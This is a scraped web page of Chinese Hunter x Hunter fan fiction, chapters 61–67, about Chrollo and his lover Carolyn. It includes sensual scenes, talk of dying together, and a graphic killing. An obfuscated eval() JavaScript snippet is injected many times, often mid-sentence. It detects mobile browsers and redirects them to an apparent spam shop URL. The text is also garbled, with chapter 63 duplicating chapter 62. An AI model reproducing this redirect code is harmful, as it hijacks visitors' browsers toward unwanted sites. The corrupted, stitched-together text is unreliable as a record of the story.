卡洛琳就站在门口。穿着黑色缎面的连衣裙,裙摆短到大腿中段,边缘缀着一圈白色的蕾丝。领口开得正好露出锁骨和胸口一大片皮肤,白色的蕾丝沿着领口的形状爬了一圈,像是什么礼物的包装边缘。白色的围裙系在腰间,蝴蝶结打得端端正正的,两根缎带垂下来,落在裙摆的褶皱上。裙摆很短,短到她只要稍微动一下就能看到大腿根那一圈黑色的蕾丝边。她的腿上是黑色的吊带袜,蕾丝花边勒进大腿内侧的软肉里,细细的吊带从袜口延伸上去,消失在裙摆的阴影中。 她头上戴着同色系的发箍,白色的蕾丝镶边,正中间有一个小小的黑色蝴蝶结。头发散着,深棕色的发尾微微卷曲,落在锁骨上,落在胸口那片裸露的皮肤上。她的脸上化了淡妆,眼尾的眼线往上挑了一点,嘴唇涂了一层薄薄的唇釉,在走廊昏黄的灯光下亮晶晶的。 卡洛琳手里拿着吹风机。电线绕在她手腕上,黑色的线和白色的皮肤形成鲜明的对比。 “主人,”卡洛琳的声音带着一种刻意的轻柔的像拉丝的软糖的一样粘稠的语调,“头发不吹干会感冒的。” 库洛洛站在原地没有动。只是他的目光从她的脸移到她的领口,从领口移到她的腰,从腰移到她的腿,从腿移回到她那双亮晶晶的正盯着他看的眼睛。她的眼睛亮晶晶的,期待和兴奋交织在一起,还带着一种我知道你会喜欢但我还是要亲眼确认的雀跃。 他想,她真的很可爱。 卡洛琳被卡洛琳看得耳朵开始微微泛红,但她没有躲,而是往前迈了一步,给吹风机插上电,打开开关。热风涌出来,卡洛琳用手指插进库洛洛湿润的头发里,从额头往后梳。她的指腹贴着他的头皮,慢慢地用力地按过去,从发际线到头顶,从头顶到后脑,手指在他耳后停了一下,指腹在那里画了一个很小的圈。 库洛洛闭上了眼睛。 吹风机的声音填满了整个空间。卡洛琳的手指在他的头发里穿行,偶尔碰到他的耳廓,她会停一下,用指腹慢慢摸过去,从耳垂到耳廓边缘。她的指尖带着恰到好处的温度令人心底发痒。 “主人的头发好软。”卡洛琳带着笑意的声音混在吹风机的噪音里,变得又远又近。 库洛洛没有说话。只是手指慢慢蜷起来又松开。卡洛琳的手指从他的头顶滑到他的后颈,指腹按着他颈侧那两条紧绷的肌肉,慢慢地揉着。她的拇指沿着他的颈椎一节一节地往上推,推到发际线再滑下来。 吹风机的声音停了,她把吹风机放在洗手台上,手指还留在他的头发里。 “吹干了。”卡洛琳的嘴唇贴着他的耳垂轻轻呵气。 库洛洛转过头直勾勾地盯着她,她眼尾那条细细的眼线在灯光下微微上挑,显得她的眼睛比平时更妩媚。她的睫毛很长,涂了一层睫毛膏,每一根都翘得很分明。 卡洛琳注意到库洛洛的世界,非但没有收敛,反而伸出手指戳了戳他的胸口,指腹点着他睡衣敞开的领口露出的锁骨。 库洛洛握住她戳他胸口的那只手,把她的手翻过来,嘴唇贴上她的掌心。他的嘴唇蹭过她掌心的皮肤时带着轻微的粗糙感。目光从她的脸慢慢往下移,锁骨,蝴蝶结,腰封勒出的腰线,裙摆下露出的一截蕾丝花边,然后他的目光回到她的带着笑意的眼睛。 “过来。”库洛洛往后退了一步,靠在洗手台边上,双手撑在台面边缘,眼神暗沉而专注。 卡洛琳往前迈了一步,膝盖顶进了他的两腿之间。她的胸口几乎贴着他的胸口,她仰着头,嘴唇离他的下巴不到一拳的距离。 “主人,”卡洛琳的声音又软又糯,尾音勾起,“这样可以吗?” “非常可以。”库洛洛的手从台面上抬起来,落在她的腰侧,手指收紧,把她往自己的方向带了一下。她的身体贴上了他的,隔着两层薄薄的布料,能感觉到卡洛琳的体温比浴室里的蒸汽还要烫。 “女仆应该主动一点。”库洛洛的嘴唇贴着她的耳廓,显然在忍耐着什么。 卡洛琳踮起脚尖,嘴唇贴上了他的嘴唇,很轻,很快,像蜻蜓点水。她要退开的时候,库洛洛的手按住了她的后脑勺,不让她退。他的嘴唇覆上来,是深的重的,带着奖励和惩罚双重意味的吻。他的舌尖描过她的下唇,在她唇缝之间停留了一下,然后撬开了齿关。卡洛琳的手攥住了他胸口的衣服,攥得很紧。 库洛洛松开她的时候,她的眼线还是好好的,但嘴唇上的颜色已经晕开了,嘴角有一小块擦出去的淡粉色。 库洛洛的拇指按上了她的嘴角。指腹蹭着那块被晕开的唇釉,慢慢地一下一下地擦着。不是擦干净,是把那片淡粉色揉得更开,揉到她嘴唇的边界变得模糊,卡洛琳的呼吸乱了,他的拇指从她嘴角滑到她的下唇,按在那里不让她动。 “主人给你擦干净。” “你这不是在擦干净,”卡洛琳的声音变得含混,嘴唇在他拇指下动着,“你是在弄得更脏。” “是吗?”库洛洛的语气听起来纯良无辜,但他的拇指还在她下唇上慢慢碾着,指腹被她嘴唇的温度捂热了。卡洛琳的舌尖从唇缝里探出来一点,碰到了他的拇指。不是不小心,是故意的。 库洛洛的手指顿了一下。他把拇指从她嘴唇上拿开,低头看着指尖那一点湿润的水光。卡洛琳也低头看着,嘴角弯起来了。 “主人,你的手指脏了。” “嗯。” “我帮你擦干净。” 卡洛琳双手捧着他的手,低下头,嘴唇贴上了他的指尖。是比吻更慢的像在品尝什么的舔舐。她的舌尖从他的拇指指尖舔到指腹,从指腹舔到指根。她抬眼看着他,眼睛里有那种亮晶晶的我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17535256|203373||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道你在忍但我还没玩够的光。库洛洛的目光从她的眼睛移到她的嘴唇,从嘴唇移到她含着他手指的嘴角。他的表情没有变,但他的呼吸变了。从鼻子呼出的气流比刚才重了一点,重到卡洛琳听到了。 “好玩吗?” “好玩。”卡洛琳吐出他的手指,嘴唇上还沾着他的体温。 库洛洛把手从她手里抽出来,两只手都落在她的腰上。他的手指扣着她腰侧的凹陷处,拇指抵着她的肋骨,慢慢往上推,推到胸口的边缘停下来,又慢慢滑下来。他的动作很慢,慢到她觉得自己的皮肤在他的指腹下燃烧。卡洛琳的呼吸开始变得不稳了,小腹在他掌心下微微起伏着。她没有躲,也没有退,她踮起脚尖,嘴唇贴着他的喉结。 “主人,你心跳好快。”卡洛琳的嘴唇在他喉结上动着。 库洛洛的手从她腰侧滑到了她的后背。他的手指沿着她的脊椎往上走,一节一节地数过去,数到胸罩搭扣的位置停了一下。他用一根手指勾住了搭扣的边缘,没有解开,只是勾着。 “库洛洛。” “嗯。” “你抱我回卧室。” “求我。” 卡洛琳从他胸口抬起脸。她的脸红着,嘴唇上的唇釉已经完全晕开了,嘴角有一块淡粉色的痕迹。眼线还是好好的,睫毛还是翘翘的。 “主人,”卡洛琳的声音又软了下来,“抱我回去好不好?” 库洛洛弯下腰。一只手穿过她的膝窝,另一只手托着她的背,把她从地上抱起来。她的手臂环着他的脖子,脸埋在他的颈窝,嘴唇贴着他颈侧的皮肤。她能感觉到他在笑,库洛洛颈侧的皮肤在她嘴唇下面微微动着。她张开嘴,轻轻咬了他一口。不是用力,是把那块皮肤含在齿间,用舌尖抵了一下。 库洛洛的手臂收紧了。 他抱着她走过走廊,走进卧室。没有关门。他把放在床上,女仆装的裙摆在床单上散开。卡洛琳用手肘撑起上半身看着库洛洛,他站在床边低头看着她。深灰色的睡裤被顶起一个明显的弧度,他没有遮也没有躲。 “主人,你还好吗?” “不好,”库洛洛俯下身,一只手撑在她耳边的枕头上。另一只手落在她的大腿上,手指探进裙摆的边缘,指腹按着她大腿内侧那圈黑色的蕾丝花边,“你穿这个,是故意的。” “是故意的。”卡洛琳坦坦荡荡地承认了,声音还有点发抖。 “哦?” “因为我知道你喜欢。” “嗯,”库洛洛的手指在她大腿内侧慢慢地画着圈,恶劣地放缓了速度,像羽毛轻轻拂过一样若即若离,“喜欢。” 卡洛琳的呼吸彻底乱了。他的手指还在画圈,一圈一圈地从大腿外侧画到内侧,从内侧画到更内侧。他的指尖每次都停在那层薄薄的布料边缘,不进去,也不离开。卡洛琳的腿想合拢,但他的手挡在那里。卡洛琳的手指攥着床单,指节泛白,眼睛半闭着,睫毛在抖,令人想把她弄地更糟糕呢。 62.是不是应该先结个婚呢? 阳光从窗口斜照进来,落在卡洛琳的肩膀上。她坐在画架前,手里的画笔在调色盘上蘸了一下,又在画布上抹了一道。库洛洛靠在沙发上,手里拿着一本翻了几页的书,但没有在看。 他看着卡洛琳,看了很久了。她的头发扎成低马尾,几缕碎发垂在耳侧,随着她抬手的动作轻轻晃动。她画画的时候会微微歪头,眉头轻蹙,嘴唇抿着,偶尔会伸出舌尖舔一下下唇。 库洛洛看着那个动作看了几秒,把目光收回来,落在书页上。同一行字他看了三遍,一个字都没读进去。 “卡洛琳。”一种连库洛洛都觉得陌生的情绪促使着库洛洛叫了她的名字。 “嗯。”卡洛琳没有回头,还在专注于笔下的画板。 “万一有一天我死掉了怎么办?”库洛洛就这么直接地问出来了,怎么说呢,连他自己都不知道为什么自己会问出口,库洛洛有时候并不能很好地解析自己真实的心情。但不管怎么说,说了就是说了。 卡洛琳握着画笔的手停了一下,没有立刻回答,她把蘸了颜料的笔在画布上落下最后一笔,才转过头来看他。阳光落在她脸上,她的表情很平静,好像库洛洛问的不是生死的问题,而是今天晚饭吃什么。 “那我当然会殉情啊,”卡洛琳理所当然的语气比窗外的阳光还要平淡自然,“你死了,我活着还有什么意思。” 库洛洛握着书的手指一瞬间就收紧了。他的心脏被什么东西撞了一下,不重,但很深。库洛洛紧紧盯着卡洛琳,想从她的表情里找到一丝犹豫,一丝害怕,一丝我在开玩笑的痕迹。 但都没有,她说这句话的时候和他决定杀一个人时用的是同一种语气,不需要任何人来告诉她这是对的还是错的,这就是她会做的事。 库洛洛还没来得及消化这个认知,还没来得及分辨感受到底是被击中还是被温暖还是其他的。 卡洛琳已经从画架前站了起来。她把画笔搁在调色盘上,拍拍裙子上蹭到的颜料,走到他旁边坐下,用手撑着脸侧身盯着库洛洛。 “对了,”卡洛琳的眼睛亮了一下,像是刚想起来一件很重要的事,“我们是不是应该先结个婚?” 库洛洛的大脑直接停止了思考。他的思维在殉情这两个字上还没站稳,又被结婚这两个字给撞的彻底停摆了。 结婚?他从来没有想过这个词。不是不想和她结婚,是结婚这个选项在他的人生里从来不存在过。 他的人生是由复仇、计划、任务、杀戮构成的,是由流星街的未来,旅团的存续,那些必须由他亲手完成的事情构成的。 可如果真是这样,那他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17535856|203373||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当初就不应该接受卡洛琳的告白…… “结婚?”库洛洛听到自己的声音,觉得不像自己的。 卡洛琳歪着头看他,表情带着一点刻意的困惑,嘴角上扬,声音清澈透亮,仿佛在说的是什么不言自明的真理:“不然呢?不结婚的话,会有人只以为我是你的情人,而不是你的妻子的,我可不想这样,我都愿意为你去死了,你应该给我一个名分才对吧,库洛洛。” 库洛洛看着她,感到一阵强烈的目眩神迷,阳光落在卡洛琳深棕色的头发上,镀了一层金色的光。她的表情不是开玩笑,是很认真地在陈述一个她认为理所当然的事实。 卡洛琳眨眨眼,库洛洛的表情还是那样,平静的淡然的什么都看不出来。 但仔细看会发现他的眼睛不是这样的。他的眼睛是茫然的,就是那种因为东西太多了,所以处理器过载了,所有的程序卡住了,一个都跑不下去了的那种宕机。 怎么搞的嘛,库洛洛·鲁西鲁,幻影旅团的团长,让无数人闻风丧胆的A级罪犯,此刻被她一句“我们是不是应该先结个婚”搞得大脑彻底死机了吗? 见到了十分珍奇的一幕呢,珍奇到卡洛琳觉得自己大概这辈子再也看不到第二次了。 她会好好记住这个画面,大概一辈子都不会忘掉了。 63.是不是应该先结个婚呢? 阳光从窗口斜照进来,落在卡洛琳的肩膀上。她坐在画架前,手里的画笔在调色盘上蘸了一下,又在画布上抹了一道。库洛洛靠在沙发上,手里拿着一本翻了几页的书,但没有在看。 他看着卡洛琳,看了很久了。她的头发扎成低马尾,几缕碎发垂在耳侧,随着她抬手的动作轻轻晃动。她画画的时候会微微歪头,眉头轻蹙,嘴唇抿着,偶尔会伸出舌尖舔一下下唇。 库洛洛看着那个动作看了几秒,把目光收回来,落在书页上。同一行字他看了三遍,一个字都没读进去。 “卡洛琳。”一种连库洛洛都觉得陌生的情绪促使着库洛洛叫了她的名字。 “嗯。”卡洛琳没有回头,还在专注于笔下的画板。 “万一有一天我死掉了怎么办?”库洛洛就这么直接地问出来了,怎么说呢,连他自己都不知道为什么自己会问出口,库洛洛有时候并不能很好地解析自己真实的心情。但不管怎么说,说了就是说了。 卡洛琳握着画笔的手停了一下,没有立刻回答,她把蘸了颜料的笔在画布上落下最后一笔,才转过头来看他。阳光落在她脸上,她的表情很平静,好像库洛洛问的不是生死的问题,而是今天晚饭吃什么。 “那我当然会殉情啊,”卡洛琳理所当然的语气比窗外的阳光还要平淡自然,“你死了,我活着还有什么意思。” 库洛洛握着书的手指一瞬间就收紧了。他的心脏被什么东西撞了一下,不重,但很深。库洛洛紧紧盯着卡洛琳,想从她的表情里找到一丝犹豫,一丝害怕,一丝我在开玩笑的痕迹。 但都没有,她说这句话的时候和他决定杀一个人时用的是同一种语气,不需要任何人来告诉她这是对的还是错的,这就是她会做的事。 库洛洛还没来得及消化这个认知,还没来得及分辨感受到底是被击中还是被温暖还是其他的。 卡洛琳已经从画架前站了起来。她把画笔搁在调色盘上,拍拍裙子上蹭到的颜料,走到他旁边坐下,用手撑着脸侧身盯着库洛洛。 “对了,”卡洛琳的眼睛亮了一下,像是刚想起来一件很重要的事,“我们是不是应该先结个婚?” 库洛洛的大脑直接停止了思考。他的思维在殉情这两个字上还没站稳,又被结婚这两个字给撞的彻底停摆了。 结婚?他从来没有想过这个词。不是不想和她结婚,是结婚这个选项在他的人生里从来不存在过。 他的人生是由复仇、计划、任务、杀戮构成的,是由流星街的未来,旅团的存续,那些必须由他亲手完成的事情构成的。 可如果真是这样,那他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17536572|203373||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当初就不应该接受卡洛琳的告白…… “结婚?”库洛洛听到自己的声音,觉得不像自己的。 卡洛琳歪着头看他,表情带着一点刻意的困惑,嘴角上扬,声音清澈透亮,仿佛在说的是什么不言自明的真理:“不然呢?不结婚的话,会有人只以为我是你的情人,而不是你的妻子的,我可不想这样,我都愿意为你去死了,你应该给我一个名分才对吧,库洛洛。” 库洛洛看着她,感到一阵强烈的目眩神迷,阳光落在卡洛琳深棕色的头发上,镀了一层金色的光。她的表情不是开玩笑,是很认真地在陈述一个她认为理所当然的事实。 卡洛琳眨眨眼,库洛洛的表情还是那样,平静的淡然的什么都看不出来。 但仔细看会发现他的眼睛不是这样的。他的眼睛是茫然的,就是那种因为东西太多了,所以处理器过载了,所有的程序卡住了,一个都跑不下去了的那种宕机。 怎么搞的嘛,库洛洛·鲁西鲁,幻影旅团的团长,让无数人闻风丧胆的A级罪犯,此刻被她一句“我们是不是应该先结个婚”搞得大脑彻底死机了吗? 见到了十分珍奇的一幕呢,珍奇到卡洛琳觉得自己大概这辈子再也看不到第二次了。 她会好好记住这个画面,大概一辈子都不会忘掉了。 64.希望你能得到幸福 一个流浪汉坐在百货商场侧门的台阶上,看起来各种意义上都很糟糕。 卡洛琳端着一杯冰的卡布奇诺从旋转门出来的时候差点踩到他的脚,她往旁边让了一步,低头看了他一眼。 他的头发很长,打了结,灰白色的胡茬围着嘴唇,看不出多大年纪。他的眼睛是闭着的,不知道是睡着了还是在晒太阳。阳光照在他身上,照在他面前那个碗里,里面有几个硬币,不多,刚好够买一个最便宜的面包。卡洛琳不知道想了什么,从钱包里抽出一张纸币,面额一百戒尼,把钱放在碗里的时候没有弯腰,只是蹲下来了一点,放了就走。 她的鞋跟踩在人行道上,哒哒哒地响着,像是有什么在催促她一样。 卡洛琳快步走过斑马线,走到对面的街角才慢下来。她回头看了一眼,那个流浪汉还坐在那里,他没有醒,什么都不知道。 好吧,她会出于好心施舍流浪汉一百戒尼,但仅限于此了。让她给流浪汉建房子,她怎么知道怎么建呢?让他重新变成一个正常的有家有业每天早上出门晚上回来人,她根本做不到。 她连自己想帮的人都不知道怎么帮,更别说一个不认识的流浪汉。 卡洛琳站在街角,突然就在人来人往的街道中停了下来,温和阳光照在她身上,风把她的头发吹起来又放下。 她只是抑制不住地又冒出了那个念头,为什么库洛洛不能幸福呢?如果库洛洛能抛下旅团,抛下流星街,抛下那些杀人和被杀的事,去追求自己的幸福,他那么聪明对他来说一定轻而易举吧。 如果库洛洛可以幸福的话……这个念头从卡洛琳脑子里冒出来的时候,她自己都觉得自己有点虚伪。 她当初难道不是因为库洛洛不会抛下那些东西,才刻意接近他的吗?不是因为知道库洛洛会变得很强才感到安心的吗? 可是为什么自己现在想的是,如果库洛洛可以得到幸福的话,自己怎么样也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17537439|203373||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无所谓。 这个想法听起来像个悖论。 她的幸福建立在库洛洛不幸福的基础上,如果库洛洛是一个普通人,他就没有能力把她从流星街接出来,让她过上这种不用操心任何事的日子。她今天能站在这个街角的阳光下,穿着白色的裙子,手里拎着刚买的画册,都是因为库洛洛没有选择做普通人。 可此刻卡洛琳希望库洛洛得到幸福的心情是如此强烈如此真实不虚。不是那种她希望他幸福但不愿意为此付出代价的廉价祝愿。 是真的,如果库洛洛可以得到幸福,自己哪怕付出生命也可以。 卡洛琳站在街角站了一会,手里的冰咖啡变成了凉咖啡,卡洛琳焦渴地喝了一大口,将那些泛滥的情绪压下,拿着凉咖啡继续往前走。 卡洛琳把空了的咖啡杯丢进路边的垃圾桶,金属的盖子弹了一下又合上了。阳光落在她拎着画册的手指上,落在那根红绳上,落在那颗小金花生上。 65.库洛洛什么都不想 库洛洛把脸埋在卡洛琳的颈窝里,整个人窝在沙发上,把她当成了一个人形的靠垫。 他的腿搭在沙发扶手上,身体侧着,手臂环着卡洛琳的腰,收得很紧。窗帘拉着,客厅里只有茶几上一盏小台灯亮着,橘黄色的光照在地板上,照不到沙发这一角。 卡洛琳的手指在库洛洛的头发里慢慢地梳着,从额头往后,从头顶到后脑,指腹贴着他的头皮,力度轻得像在摸一只趴在自己腿上睡觉的猫。 其实库洛洛也不知道自己为什么要这样。他不需要这样。他不是一个需要被人抱着,需要把脸埋在别人颈窝里,需要被人用手指慢慢梳头发的人。 他杀人的时候心里没有任何波动,计划行动的时候也不会有心理障碍……他不知道自己为什么要这样,他只是想这样。 卡洛琳的手指从他的头发里滑到他的耳廓,指腹慢慢地摸着他耳朵的形状,从耳垂到耳廓边缘,从边缘到耳后那一小块光滑的皮肤。他的耳朵不红了,他已经过了会因为她碰一下就红耳朵的年纪,但他的呼吸变深了。 库洛洛在她颈窝里蹭了一下,嘴唇擦过她的锁骨。不是吻,是不自觉地蹭了一下,卡洛琳的手指停了一下,然后继续梳他的头发。她在想,库洛洛大概不知道自己这是在撒娇。他大概以为自己只是靠着她休息一下。 卡洛琳的另一只手从沙发靠背上移过来,覆在他环着她腰的手背上。她的手指慢慢描着库洛洛手背上凸起的血管和骨节,她把他的手从自己腰上拉起来,翻过来,掌心朝上,把自己的手掌贴上去,手指扣进他的指缝里,和他的手交握在一起。 “库洛洛。”卡洛琳轻声叫他。 “嗯。”库洛洛的声音带着一种快要睡着的黏稠。 “你困了吗?” “有点。” “那去床上。” 库洛洛沉默了一会。他在想她好软,她的胸口贴着他的脸颊,隔着睡裙薄薄的布料,他能感觉到她的体温和心跳。他不想动,他想就这样一直下去。不需要思考任何事,只需要听着她的心跳,被她用手指慢慢梳头发。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17537631|203373||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再等一会。”库洛洛的声音罕见地很软。 卡洛琳的嘴角弯了一下,眼里全是自己都没察觉的纵容,她的另一只手还在他头发里,从额头往后,从头顶到后脑,一遍又一遍。她的手指经过库洛洛耳后的时候,他的呼吸又变深了一点。 卡洛琳感到脸有些烫。库洛洛的呼吸落在她的皮肤上,又热又慢,像一股持续不断的温热的潮汐。她能感觉到自己的身体在回应他,那种从脊椎底部升起来的酥麻的像有什么东西在里面慢慢融化的感觉。 但库洛洛难得这么纯情,倒让她有些不忍心打破这个氛围了。 卡洛琳把腿并拢了一点,把那点想要压了下去。她想,他可以再待久一点,她有的是时间。库洛洛在她颈窝里慢慢闭上了眼睛,他的呼吸变得很慢很均匀。 “卡洛琳。” “嗯?” “你心跳好快。” “别说话,快睡了。” 库洛洛嘴角的弧度没有放下来,然后他真的睡着了,什么都不想的人一向睡得很快。 66.不想再失去的库洛洛 夜风从碎裂的玻璃窗灌进来,吹动了地上那些已经不再动弹的人的衣角。库洛洛站在房间中央,皮鞋踩在一摊正在慢慢扩大的暗红色液体上,发出细微的黏腻声响。他像一棵种在血泊里的树,根系扎进那些正在冷却的尸体之间。 这里之前还是一个小型□□的据点。现在这里是一间停尸房,区别在于停尸房的尸体至少是整齐的。 库洛洛的袖口有一道长长的血痕是挥刀的时候从某人颈侧带出来的动脉血,在白色衬衫的面料上画出一道弧线,指缝间干涸的血迹已经把皮肤绷紧了,有点不舒服。 库洛洛的表情很平静,没有杀戮过后的亢奋或空虚,什么都没有,像一面擦得干干净净的镜子。 角落里还有一个人在动。不是还活着,是还差一点才死。他的喉咙被切开了一半,气管还连着,血从脖子涌出来,但还没有完全涌尽。他极力睁大的双眼死死地盯着库洛洛,嘴唇在动,没有声音。 库洛洛连视线都没有对他投去,无非是诅咒怨恨这些,他已经见得太多了。 库洛洛低头看了一眼腕表,从进门到现在,过去了不到十五分钟。他转身往外走,皮鞋踩过血泊,发出黏腻的细碎的声响。 外面的风很大,夜风吹起他大衣的下摆。 库洛洛想起很多年前,他还很小的时候,曾经以为这个世界是可以讲道理的。 他以为只要他们让外面的人看到流星街不是垃圾堆、这里的人也和他们一样会读书会写字会思考会爱,他们就能被接纳。 他当时以为温和的手段可以改变什么,还想创立旅团巡演。 然后萨拉萨就被肢解了,那些人在她还没死的时候就开始切了。他后来找到那些人的时候,问他们为什么。他们说因为流星街的孩子没有人在乎,因为想发泄一下。 果然,现行的法律体系不会让做了那种事的人反省并悔改。 有用的是让那些人怕,让那些人在碰流星街的人之前先想到自己的命,让他们知道流星街不是猎场,而是坟场,他们的坟场。 库洛洛把手伸进口袋里,摸到了手机。他拿出来又看了一眼,没有消息。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17538169|203373||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 卡洛琳大概已经睡了,窗帘拉严实了,被子拉到下巴,手里可能还抱着那个他睡过的枕头。他想起她蜷在被子里的样子,头发散在枕头上,嘴角微微弯着,希望她做个好梦。 库洛洛想起卡洛琳今天下午发来的那张照片,杯子里是卡布奇诺,奶泡打得很好,有爱心的拉花,那只握着杯子的手,指甲修得圆圆的,涂着很淡的樱花一样的粉色。那根红绳系在手腕上,小金花生垂下来,刚好落在阳光里,金子被光照得透亮。她的嘴唇是弯着的,很轻很温柔,像是在笑,又像是只是觉得很舒服。 卡洛琳不知道自己在看完那张照片之后,杀人的时候反而比平时更冷酷。因为他需要确认自己有能力守住这一切,确认不会再有人从他身边被夺走。 他不能再失去一次了。那种感觉像被人生生挖走了一块骨头,看起来还是完整的,但一动就疼,呼吸都疼。萨拉萨死的时候他花了很久才把自己拼回去,他不确定如果卡洛琳出事他还能不能再拼起来一次。 只要她能够幸福,自己满手血腥也没有关系。 67.喝醉了 卡洛琳是喝醉了。但没有到醉到不省人事的那种,是那种刚好把脑子里所有闸门都打开了,平时不敢说的话现在像拧开的水龙头一样往外流的醉。 她靠在库洛洛怀里,脸贴着他的胸口,手指在他衬衫的扣子上无意识地画着圈。 “库洛洛。”她的声音软得像要化了。 “嗯。”库洛洛挑眉,好似在期待着什么。 “你真好看,”卡洛琳仰起脸看着他,眼睛亮晶晶的,瞳孔因为酒精放大了,里面映着他的脸。“我有没有跟你说过你好看。” “说过。”库洛洛的声音带着明显的笑意。 “那我再说一次,你真好看。” 卡洛琳的手指库洛洛他扣子上移开,摸到了他的下巴,指腹蹭着他剃得很干净的胡茬。“这里好看,”她的手指往上移,按着他的颧骨,“这里好看,”按着他的鼻梁,“这里好看,”按着他的眉骨,“这里……都好看。” 库洛洛握住她在他脸上摸来摸去的手,翻过来,嘴唇贴着她的掌心,温热的呼吸喷洒在皮肤上:“你喝多了。” “没有。”卡洛琳把他的手拉过来放在自己脸上,脸颊蹭着他的掌心。 “我好喜欢你,”卡洛琳亮晶晶的双眼看着库洛洛,好像全世界只有他值得被看一样,声音带着被酒精泡过的飘忽和糖果拉丝一样的黏腻,“真的好喜欢好喜欢。” 库洛洛看着因为喝酒而泛红的脸颊,比平时更亮的眼睛,微微嘟起的嘴唇上沾着刚才那杯红酒的痕迹。 “你知不知道你在说什么。”库洛洛的声音低了下去。 “知道。我在说我喜欢你,很喜欢你,喜欢到——”卡洛琳卡住了,像是在找词,找了半天没找到,干脆放弃了,“就是很喜欢。” 卡洛琳的手臂环上了他的脖子,把他拉向自己。她的嘴唇贴上了他的。 不是平时那种试探的温柔的一点一点深入的吻。是直接贴上去的,嘴唇压着他的嘴唇,舌尖直接探进去的。她的嘴里有红酒的味道,涩涩的,甜甜的,混着她的唾液和他自己的味道。 库洛洛的手从她脸上滑到她的后脑勺,手指插进她的头发里。他吻回去了,比她更用力,更深。他的另一只手扣着她的腰,把她整个人按进自己怀里。他感觉到她在他嘴唇下发出一声很轻的像叹息一样的声音。 他的手从她后脑勺滑到她的颈侧,拇指按着她的脉搏。她的心跳很快。库洛洛把她压到沙发上,撑在她上方,嘴唇从她的嘴唇移到她的下巴,从下巴移到她的颈侧,从颈侧移到她的锁骨。 “库洛洛……”卡洛琳的声音在颤抖,是那种被酒精和吻搅得乱七八糟自己都控制不住的那种抖。 “嗯。” “好热。”卡洛琳的的声音带上了哭腔。 库 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17538182|203373||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 